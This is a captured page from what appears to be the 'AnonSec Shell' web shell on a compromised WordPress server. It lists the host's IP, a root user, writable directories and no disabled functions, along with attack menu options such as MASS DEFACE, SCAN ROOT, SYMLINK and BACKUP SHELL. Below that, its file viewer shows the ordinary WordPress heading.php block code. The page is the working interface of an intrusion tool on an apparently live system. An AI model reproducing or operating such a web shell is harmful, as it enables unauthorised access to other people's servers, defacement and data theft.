AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.17.164.183   [ Reverse IP ]
Web Server : Apache
System : Linux 3692325a-ac93-3ed0-1e50-897ae3432556.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-includes/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-includes/blocks/heading.php
<?php
/**
 * Appending the wp-block-heading to before rendering the stored `core/heading` block contents.
 *
 * @package WordPress
 */

/**
 * Adds a wp-block-heading class to the heading block content.
 *
 * For example, the following block content:
 *  <h2 class="align-left">Hello World</h2>
 *
 * Would be transformed to:
 *  <h2 class="align-left wp-block-heading">Hello World</h2>
 *
 * @since 6.2.0
 *
 * @param array  $attributes Attributes of the block being rendered.
 * @param string $content Content of the block being rendered.
 *
 * @return string The content of the block being rendered.
 */
function block_core_heading_render( $attributes, $content ) {
	if ( ! $content ) {
		return $content;
	}

	$p = new WP_HTML_Tag_Processor( $content );

	$header_tags = array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' );
	while ( $p->next_tag() ) {
		if ( in_array( $p->get_tag(), $header_tags, true ) ) {
			$p->add_class( 'wp-block-heading' );
			break;
		}
	}

	return $p->get_updated_html();
}

/**
 * Registers the `core/heading` block on server.
 *
 * @since 6.2.0
 */
function register_block_core_heading() {
	register_block_type_from_metadata(
		__DIR__ . '/heading',
		array(
			'render_callback' => 'block_core_heading_render',
		)
	);
}

add_action( 'init', 'register_block_core_heading' );

Anon7 - 2022
AnonSec Team